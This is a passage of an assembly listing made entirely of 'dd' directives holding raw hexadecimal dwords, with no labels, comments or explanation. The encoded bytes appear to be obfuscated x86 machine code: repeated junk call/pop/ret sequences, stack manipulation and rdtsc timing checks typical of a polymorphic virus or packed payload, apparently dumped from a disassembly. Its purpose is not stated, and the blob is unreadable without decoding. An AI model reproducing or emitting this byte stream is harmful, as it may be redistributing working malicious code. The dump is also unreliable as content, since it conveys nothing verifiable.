		dd 4244481h, 17h, 25C35747h, 33195FC1h,	31C7985h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0EED0BB03h, 0BB500FB7h, 0A223305h, 0E8240489h, 7, 0B7EF97EDh
		dd 29295335h, 30A299Dh,	6A5F06h, 0E850006Ah, 3,	58C35820h
		dd 4244489h, 4244481h, 1Ah, 0F7C35040h,	2AFD9647h, 8C0F190Dh
		dd 5, 0E5EE9EBBh, 8526686Ch, 840F4188h,	2, 3481FE8Ah, 9786D924h
		dd 55006A41h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0F551492h, 0FFDF8BABh, 3140595h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0FDE800E6h, 8166725Ch, 89D8DEF7h, 6A73485h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 6639FFAFh, 8C72DF81h, 1CAE9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 85A605EAh
		dd 746E6C5Bh, 18BB7D6Fh, 8B1BBFB8h, 6A72C85h, 0ED9D2306h
		dd 52060310h, 1800C75Fh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0CA94C352h
		dd 7D0E20B0h, 0CEA393C0h, 30B58BF5h, 0F90606A7h, 128D858Bh
		dd 0FA8B0603h, 6A0689h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 81662FC3h, 8B48D2E3h, 313C185h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0CE8F9h,	76510000h, 6F47F624h, 40ABA8F6h
		dd 0FB8B302Fh, 68A0F5Fh, 8B000000h, 3280D9Dh, 4468906h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0A2C35545h
		dd 0D98BB4E4h, 0BB665096h, 6A96C0FAh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0D04EC356h
		dd 6B3BF6B0h, 805668ECh, 0B5FF89EBh, 606A72Ch, 28359D8Bh
		dd 17680603h, 50211D66h, 0AE852h, 73300000h, 0FCA532E6h
		dd 83D0918h, 11E8h, 60830800h, 9824D082h, 8EFCD3D3h, 505B4917h
		dd 5B5F0634h, 585A310Fh, 0E8243481h, 29210265h,	301EDBDh
		dd 34858D06h, 500606A7h, 310F5250h, 0C7C236BFh,	89585A0Fh
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 283422C3h, 60EF0C77h, 2C15BD01h, 0B5290603h
		dd 6030409h, 7DBD8B61h,	0FF060317h, 3140595h, 0E1BD8B06h
		dd 6106032Dh, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	20C35545h, 0B75AD88Dh, 15BD23B6h, 0C7060301h, 321BD85h
		dd 306h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 17A48C34h, 0CCEB5D0Fh, 0A19D8B74h
		dd 83060324h, 6A734BDh,	840F0006h, 21h,	37E9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0C30509Dh, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0C3C35141h, 8A5BBB87h, 6AC086h,	3E855h,	5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0B38893C3h
		dd 83666597h, 321BDBDh,	850F0306h, 430h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 44C35747h, 0E4BA12D9h
		dd 1AB5AA0Ch, 8870F0Bh,	50000000h, 11419D8Bh, 835F0603h
		dd 6A734BDh, 840F0006h,	3F0h, 14D9D8Bh,	0B5FF0603h, 606A734h
		dd 2B15BD8Bh, 95FF0603h, 6032E05h, 0E226BF66h, 0DE9h, 58EE4A00h
		dd 63A239D2h, 0EF649DB6h, 0B58B4C9Ah, 606A728h,	0F318D89h
		dd 6C70603h, 10001h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 5BC35747h, 4C7B721h, 0F52D862h, 965BDEBFh
		dd 52505250h, 310F6160h, 8C8ABB66h, 310F585Ah, 5AD98B66h
		dd 8B665058h, 6A96FBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 762E26C3h, 0FFFFBF0Fh, 6A734B5h
		dd 3767BB06h, 95FF04AFh, 6032F19h, 8BDBBF0Fh, 6A728B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 44A7F2FAh, 0E78050E5h, 858B5FA6h, 603311Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 82C35141h
		dd 86895072h, 0C4h, 9B5BD89h, 958B0603h, 60331D1h, 4A8E6BBh
		dd 4C2834Dh, 0CED9D8Bh,	50890603h, 0EE96020h, 7C000000h
		dd 20EFCA5Dh, 4032A357h, 9F3A352Ch, 85BE6631h, 858D6122h
		dd 606BBF3h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	94C35343h, 39852924h, 0F8060300h, 0B88689h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 60D8E3C3h, 0AFFB2481h, 26119D8Bh, 6AF80603h,	52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 56C488AEh, 5858953h,	5B060302h, 319D8960h, 0E9060323h
		dd 7, 5F7AB4E3h, 61A31218h, 0A734B5FFh,	6A0606h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0E2C54CC3h, 0D6C5085Eh, 95FF52CBh, 6031CB1h,	21E99D8Bh
		dd 89500603h, 9E92434h,	0FC000000h, 0C33A4199h,	6C7C1233h
		dd 0A734B5FFh, 85290606h, 6031C51h, 966115BFh, 6595FF07h
		dd 0E9060311h, 12h, 2C2E3CCDh, 78EDFDEBh, 2E18317h, 72B57239h
		dd 0BD8354F9h
		dd 6031795h, 0AA840F00h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 55BDC352h
		dd 0F7BED3Eh, 681h, 499D8900h, 0F06032Dh, 0E896F8B7h, 13h
		dd 0CF9A58A6h, 94F54CECh, 21745830h, 16970E9Ah,	5081103Fh
		dd 0EE952h, 7B8C0000h, 5F668441h, 17213B54h, 3BD05F02h
		dd 13E9310Fh, 28000000h, 4961BA91h, 1024C83Dh, 0BF0755FCh
		dd 0BBF471E9h, 585A85B6h, 850F505Bh, 5,	7525D1BFh, 6A9679h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 2C8927C3h, 0E380C7CCh, 34B5FF45h, 8B0606A7h,	6195FFF9h
		dd 0BB060306h, 3DE15B2Bh, 0A734B5FFh, 6A0606h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0E7AA56C3h, 7B7A9895h, 66FE8A67h, 0FF8B87BBh, 30AE195h
		dd 0BD096006h, 6030AE9h, 8A0Fh,	83610000h, 3218DBDh, 840F0206h
		dd 78h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h
		dd 76C35242h, 9D8BF869h, 60329A5h, 1FD858Bh, 6A0603h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0E0D1E7C3h, 21D1BD8Bh, 0C60603h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0A9E0C763h
		dd 9D8BB3ABh, 60324ADh,	30B985C7h, 603h, 0F3810000h, 39254871h
		dd 0FFF2ECE9h, 59BD8BFFh, 8B060303h, 51006AC1h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 9D89C62Dh
		dd 94D8276Dh, 8589E615h, 6030BF9h, 8DF0D780h, 3281185h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 246B9348h, 707F0795h, 870F6BA4h,	8, 2820Fh
		dd 61600000h, 60525750h, 895F5B61h, 64BB2404h, 6A1A4AF6h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 66C287A4h, 6AFE8Bh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0D1C35747h,	0BEF46EECh, 6643FE4Dh
		dd 52BF661Ch, 0A0858D22h, 8B0607F5h, 325019Dh, 5C08306h
		dd 90DFBF0Fh, 13E86057h, 51000000h, 8ABD06Fh, 0E4465F08h
		dd 6396C5C8h, 0A45CCF0Ah, 8B5ED6A7h, 505F61FBh,	0AE9h
		dd 955BAC00h, 0B3C2C4B4h, 90050A51h, 3870Fh, 8B660000h
		dd 6A006ADFh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0F853C352h, 6A96C8FFh,	53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0FF085B61h, 30CC995h, 199D0B06h, 8D060309h, 697478Dh
		dd 499D8B06h, 0FF060314h, 55006AD1h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0CCF0F590h
		dd 3D9529CBh, 8306030Bh, 31E91BDh, 850F0106h, 6Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0D6C35646h, 25E19D89h
		dd 26A0603h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	0E8C35545h, 0CDBD23F0h,	0F060301h, 682h, 0C19D8B00h
		dd 5006032Bh, 48B0Fh, 0BB660000h, 4898088h, 0B195FF24h
		dd 6606031Ch, 1D2CD381h, 0D3CE9h, 0E800h, 815D0000h, 7F5AAEDh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 2EA405A0h, 8832DB04h, 858D34B7h,	6068889h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0B1C35343h
		dd 9D8B650Ah, 603120Dh,	7DBB5090h, 9005286Dh, 17ADBD8Bh
		dd 0FF640603h, 35h, 12E800h, 0DA1C0000h, 35BEAC92h, 16E98A84h
		dd 6BDF25C9h, 26801BB0h, 248D9D8Bh, 645F0603h, 2589h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0A7B85CC3h, 0B8CE4F2Ah, 0F6DEED9h, 85FFDABFh, 6032A15h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FEC35141h
		dd 0DE0CB82Bh, 0E90D1840h, 9, 9FBF4DB9h, 6C2A726Ch, 6AFF6A4Fh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0B0CDC352h, 6CDCCDEDh, 0DA817EF9h, 1BA58589h
		dd 0B5FF0603h, 60310CDh, 0FFFBBF0Fh, 3201595h, 15BE906h
		dd 0CE80000h, 0F1000000h, 0A6531C94h, 2551D40Bh, 0F90CE57h
		dd 687h, 800F00h, 5F000000h, 816600B0h,	0E665C3E3h, 0B58D8970h
		dd 0E4060303h, 6860F71h, 31000000h, 324A99Dh, 0F613C06h
		dd 11883h, 0E8F78000h, 0B3C8B60Fh, 6BAFFh, 9D0B0000h, 60312C1h
		dd 0BD8BC18Bh, 6032339h, 0E804E8C1h, 12h, 5EB3012Bh, 0C3A7876Fh
		dd 2614354Eh, 83157B80h, 810FB31Fh, 6, 2C51BD8Bh, 665F0603h
		dd 8166E2F7h, 2BBCA0CFh, 39BD89C8h, 8B060317h, 99D89D1h
		dd 0E9060321h, 0B9h, 63C8EF81h,	858B442Ah, 47554C50h, 6820Fh
		dd 85890000h, 60320EDh,	0E907C083h, 0Dh, 0AED767B3h, 8288ACC4h
		dd 66169C68h, 3DBD8B49h, 8306030Fh, 840F00C0h, 0Fh, 6E8h
		dd 5927D400h, 66A3B6F1h, 3B5BD98Bh, 12830FD0h, 0F8000000h
		dd 60E9h, 6890F00h, 89000000h, 311F1BDh, 0FF8D8B06h, 31FFFFFFh
		dd 33121BDh, 0DABF6606h, 1E183B8h, 3B840Fh, 0BD890000h
		dd 6032FE1h, 13E9h, 0C3820500h,	8D84663Bh, 16D04474h, 8E009C72h
		dd 5864B853h, 0FFFFA583h, 1FEFFFFh, 33215B5h, 50958906h
		dd 6647554Ch, 0BAEED381h, 0E9h,	8FB58D00h, 60060775h, 0BE8h
		dd 5D2AC00h, 723EA09Eh,	34179374h, 11E9B529h, 0F590603h
		dd 68Ah, 19D8B00h, 61060323h, 6A74DB80h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 0FE540C1h, 680h, 95BD8B00h, 0FF060331h, 31FB995h, 0DEBF0F06h
		dd 6880Fh, 0BD330000h, 6033111h, 10C6B9h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 60C6A985h, 0FA5BD89h, 83610603h, 6AFCE1h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0A803CFC3h
		dd 437EAB8Eh, 81BF42E6h, 81E0CFCFh, 0ED9D0352h,	0FC06031Ch
		dd 145BD89h, 0B80603h, 8B000000h, 312119Dh, 11BD8B06h
		dd 0BA06032Eh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 1BC35646h
		dd 4FBEE627h, 5CB78012h, 0FA7BFCCh, 33AD6B1Bh, 3E8D1C2h
		dd 4E983D0h, 800FF475h,	2, 6ADE8Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 22EF5CC3h
		dd 0EE96CFAh, 0F7000000h, 0FDBC11F4h, 0FE6864C8h, 77B20230h
		dd 0DD9D8B36h, 0D060305h, 88h, 1C058D89h, 958B0603h, 60331D1h
		dd 0FE9h, 1EE1C700h, 78D38F56h,	4AADEF0Dh, 0CE00DC01h
		dd 1E18D8Bh, 0B5310603h, 603109Dh, 12E956h, 1E3C0000h
		dd 0A63E6C0Bh, 0C003E7C8h, 1421A6D9h, 0E04731F2h, 0C28B505Fh
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 30FCD9Dh
		dd 2DB50906h, 83060328h, 31D65BDh, 840F0006h, 99h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1DC35141h, 63486B77h
		dd 0B8A414h, 0E9000000h, 12h, 0C5F186BDh, 5B692BB5h, 25497930h
		dd 0F1539D5Fh, 8D8DE568h, 6034D1Ch, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 85C35646h, 97AFC66Bh, 9529B181h
		dd 60321DDh, 6AE1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 0E23D2BC3h, 0E97AB626h, 1B10326h
		dd 30919BDh, 0BDBD8306h, 60321h, 35B840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0DD7B08C3h, 2664C781h, 0BD8321C9h, 60321BDh,	45840F01h
		dd 9000003h, 31BD99Dh, 0BDBD8306h, 3060321h, 2FC860Fh
		dd 0B5890000h, 6031A65h, 54E78160h, 667EE4A4h, 6AD98Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 89006AC3h, 32C45B5h,	4E18006h, 546AD2BBh, 0FC90A5Fh
		dd 0DB84h, 0C820F00h, 0F000000h, 680h, 9BD2900h, 8B060326h
		dd 313C185h, 0EE906h, 4C7B0000h, 37EDE2DAh, 0C4A2A052h
		dd 0D9B2E4A0h, 1C798533h, 6A0603h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 50504AC3h, 0BB310F52h
		dd 18D319BFh, 489585Ah,	419D8B24h, 6A060320h, 14E900h
		dd 53DA0000h, 675D33C4h, 0B8BC3651h, 3EB02807h,	0E75C4002h
		dd 6A68E3A7h, 50FC0EFFh, 0FEEB752h, 0D98B6631h,	481585Ah
		dd 10049524h, 0B59D8904h, 0FF060321h, 3140595h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0BE2A9497h, 75848EABh, 0DE8B66EBh, 0A7348589h, 840F0606h
		dd 3, 0E9FBBF0Fh, 15Bh,	0A72C858Bh, 0C70606h, 18h, 8E9h
		dd 411F2100h, 13396540h, 30B58B34h, 6A0606A7h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 26A3C356h, 8D895195h, 6031D19h, 41A5BF66h, 128D858Bh
		dd 81660603h, 89A837E3h, 39858906h, 8B060317h, 313C185h
		dd 0A0E38106h, 8B086022h, 311059Dh, 4468906h, 96FB8B66h
		dd 50FB8B66h, 0FE857h, 0A5660000h, 33227E28h, 0FEF11163h
		dd 7A9D441Fh, 5FF88B8Eh, 8E9965Bh, 8D000000h, 352E37E9h
		dd 0FF60DFF4h, 6A72CB5h, 0BF665706h, 685B69F7h,	558EE673h
		dd 81F98B66h, 0E58C2434h, 95895591h, 60330ADh, 0A734858Dh
		dd 6A0606h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 8A90C9C3h, 14E850FDh, 37000000h, 0DEF79354h
		dd 6D50AA59h, 85E439BCh, 2D40B921h, 66FDC153h, 905BF98Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0DC35343h
		dd 2479F50Bh, 5E7B73B3h, 24D9D8Bh, 95FF0603h, 6031405h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 4FC35545h
		dd 0BD131041h, 2585016Ch, 61060317h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 5AC35747h, 0DA445605h, 85C7842Ah
		dd 60321BDh, 3,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ch,	71C35343h, 0D2EC7567h, 0A6FE6645h, 0AE8h, 32F19D00h
		dd 0E4A40B56h, 667A6346h, 5B8F29BBh, 0A734BD83h, 0F000606h
		dd 1184h, 0A59D8B00h, 0E9060305h, 21h, 9A9B509h, 30500603h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 9BC9940Ch, 6AD86AB9h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0CFE3C351h
		dd 880F7C9Fh, 3, 66FEBF0Fh, 0BD83DA8Bh,	60321BDh, 0B850F03h
		dd 6A000004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 89FDC356h, 308B985h, 34BD8306h
		dd 606A7h, 3DC840Fh, 0BD8B0000h, 6031009h, 0A734B5FFh
		dd 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 479472C3h, 45414AEDh, 23499589h, 95FF0603h
		dd 6032E05h, 0B58B23B3h, 606A728h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 85C35747h, 0FC80D6B8h, 106C7h
		dd 6A0001h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 35780C3h,	9DE22AF0h, 0A673D781h, 0E9966EF7h
		dd 0Dh,	9CEBCD22h, 3735834Bh, 430AFF2Ah, 8B665012h, 890F96F9h
		dd 8, 0B1BD2B53h, 5B06032Dh, 0A734B5FFh, 6A0606h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 8A2DC1C3h, 14FCBB38h, 95FF66A3h, 6032F19h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0DEC35747h, 6D9C3546h
		dd 800F1650h, 6, 12BCCB81h, 0B58B56C4h,	606A728h, 1E8D9D89h
		dd 9D890603h, 6030C31h,	311D858Bh, 95090603h, 60312F5h
		dd 10E99D89h, 86890603h, 0C4h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0E1C35646h,	138A3637h, 0BE8509Fh
		dd 22000000h, 0EB0BDBEBh, 0CF511E22h, 8D89BE3Dh, 603106Dh
		dd 0D1958B5Fh, 6A060331h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 22E7C351h, 0BBF92342h
		dd 8589B545h, 6031C7Dh,	8B04C283h, 317259Dh, 20508906h
		dd 0CE9h, 485F2A00h, 24407AA7h,	0B6C16A88h, 68A0F73h, 81000000h
		dd 0D0B18EDFh, 0F3858D3Fh, 0BB0606BBh, 738A8DBFh, 0B88689h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0F489DFC3h, 23FAC3B3h, 5DBD2371h,	6A060329h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0A7D144A3h, 0B5FFD8BDh, 606A734h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 78C35747h, 95FF5896h
		dd 6031CB1h, 0E3816651h, 965BB5C6h, 0E5D9BF66h,	0F88B6650h
		dd 0F6D78196h, 0FF1689A4h, 6A734B5h, 6595FF06h,	6A060311h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 4138C353h, 0F6804BABh, 95BD834Bh,	60317h
		dd 84840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 96C5C8C3h, 5CCF0A63h, 8D01A7A4h
		dd 6031211h, 759D2B60h,	89060319h, 3265D8Dh, 50966106h
		dd 0F5F5152h, 5ADF8B31h, 0BF605058h, 6C5563C7h,	0CE8h
		dd 87548B00h, 2A6ECAB2h, 776DED50h, 0A40EBBBBh,	6159792Bh
		dd 51006A96h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 432C4657h, 0B5FF624Ch, 606A734h,	6195FFFCh
		dd 6A060306h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 5CF7C352h, 4B38A20Ch, 319271DFh
		dd 12D59D8Bh, 0DABF0603h, 0FF0CBE10h, 6A734B5h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 5CB7A2ADh, 0AE195FFh, 0B3510603h, 0BD835FE1h, 603218Dh
		dd 21840F02h, 56000000h, 2820Fh, 5F570000h, 0FD858B5Fh
		dd 8B060301h, 303F9BDh,	3D9D8B06h, 0C6060331h, 0DE8B0000h
		dd 30B985C7h, 603h, 830F0000h, 6, 2C498589h, 0EAE90603h
		dd 8BFFFFF3h, 31FD5BDh,	6AC18B06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0DEFEC353h
		dd 0E5F2A002h, 2860F44h, 53000000h, 11858D5Bh, 0F060328h
		dd 58Ah, 0BB67BF00h, 50903005h,	0FA8B6652h, 0BB66310Fh
		dd 585A1A10h, 9078B750h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 8FC35242h, 0D1B7DBA7h, 0B420BB51h, 6A5F4D72h
		dd 20DB8100h, 6A279827h, 0E7816600h, 858DD78Ch,	60804DAh
		dd 28A4BB66h, 2019BD8Bh, 0C0830603h, 52006A05h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 699D8BCFh
		dd 0F060312h, 0F90FEB7h, 381h, 0FA8B6600h, 52506050h, 0FC78B66h
		dd 0DE8B6631h, 5060585Ah, 5A310F52h, 0DA8B6658h, 0F9906161h
		dd 8B66006Ah, 60006ADAh, 2E459501h, 11E90603h, 0FA000000h
		dd 28C1A416h, 0D00D6B7Ah, 0CBFB1039h, 2FD59D81h, 0C995FF61h
		dd 6A06030Ch, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 0D203C350h, 0D5F975E2h, 8B66FA23h
		dd 55BD8BF9h, 8D060330h, 697478Dh, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0E3300524h
		dd 0BD8BD6F2h, 6032481h, 6AD1FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 55822FC3h, 12E8AF6Dh
		dd 0BA000000h, 8FD57D95h, 0A6D3BD58h, 987BA58Bh, 3ED2A770h
		dd 0FB8B514Ch, 0BD835B5Fh, 6031E91h, 73850F01h,	0F000000h
		dd 0C8Bh, 6870F00h, 9000000h, 30B5D95h,	0F026A06h, 684h
		dd 45DF8100h, 506B4F19h, 50525057h, 50310F5Fh, 5A310F52h
		dd 5F585A58h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 9F68C357h, 0DA71975Fh
		dd 95297555h, 6030951h,	1CB195FFh, 81660603h, 0E9603FD3h
		dd 6, 3D5A9E9Fh, 74E98D9Bh, 0E800000Dh,	0
		dd 0E4ED815Dh, 6A060804h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0F01CC353h,	0D5E8A88Dh
		dd 8889858Dh, 6A0606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0C428DBC3h, 17358D29h, 50500603h
		dd 7E952h, 695C0000h, 0FD544916h, 5A310F90h, 24048958h
		dd 13E8h, 0BA5CC500h, 6DF3F70Eh, 3C0A1E2Dh, 0DBB90A5Dh
		dd 0E010CD1h, 35FF645Bh, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 73C35646h
		dd 0A45A3F00h, 0ABBD20D5h, 258964h, 0FF000000h,	32A1585h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 4F2AA7B8h, 6AFF6ACEh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0F50C353h
		dd 17BFFFBFh, 0FF795465h, 31A31B5h, 8E906h, 69C00000h
		dd 264FF252h, 95FF7B99h, 6032015h, 0E3E9h, 0B1958900h
		dd 0B006030Ch, 0C1B58900h, 0E6060321h, 45858970h, 0E4060328h
		dd 0A99D2371h, 3C06031Ah, 0BD830F61h, 8B000000h, 31319BDh
		dd 0C8B60F06h, 2DD5BD89h, 6BA0603h, 2B000000h, 3002D9Dh
		dd 0FC18B06h, 48Bh, 6FBF6600h, 4E8C131h, 66D8B70Fh, 1FB3E2F7h
		dd 0BB66C82Bh, 0D18BE00Ah, 1E9BD89h, 79E90603h,	0E9000000h
		dd 0Ch,	577E5715h, 0A54B4EE1h, 9352F03Bh, 4E49858Bh, 95014400h
		dd 6032EF5h, 0F07C083h,	0C083D8BFh, 0D03BF900h,	11830Fh
		dd 0BD8B0000h, 6032A61h, 3FE9h,	9DEF8100h, 8B3B9C54h, 0FFFFFF8Dh
		dd 1E183FFh, 2A840Fh, 0C1B30000h, 0FFFFA583h, 0BFFEFFFFh
		dd 40CE992Bh, 4E499589h, 9E94400h, 67000000h, 5D655C1Eh
		dd 0E724ADF9h, 0E9DFB70Fh, 0
		dd 8655B58Dh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 74549AC3h, 0E496CC4Dh, 6A7DB358h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 2238E396h, 1FB995FFh, 6A0603h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0A2D3F9C3h
		dd 0E8F1F8C5h, 13h, 9BDC4205h, 0BE0F2242h, 19B73336h, 0E0A0E0C8h
		dd 60DA91C8h, 0BE66E58Ah, 5B6114F9h, 1B95F53h, 80000011h
		dd 0E1830DDBh, 0E1BD8BFCh, 0FC060326h, 21718531h, 0C02B0603h
		dd 0BE8h, 3B795200h, 7742EE94h,	143C73C6h, 800F57h, 5F000000h
		dd 0E9D22B5Bh, 5, 0BD48D5FCh, 0C233ADC3h, 0D003E8D1h, 7504E983h
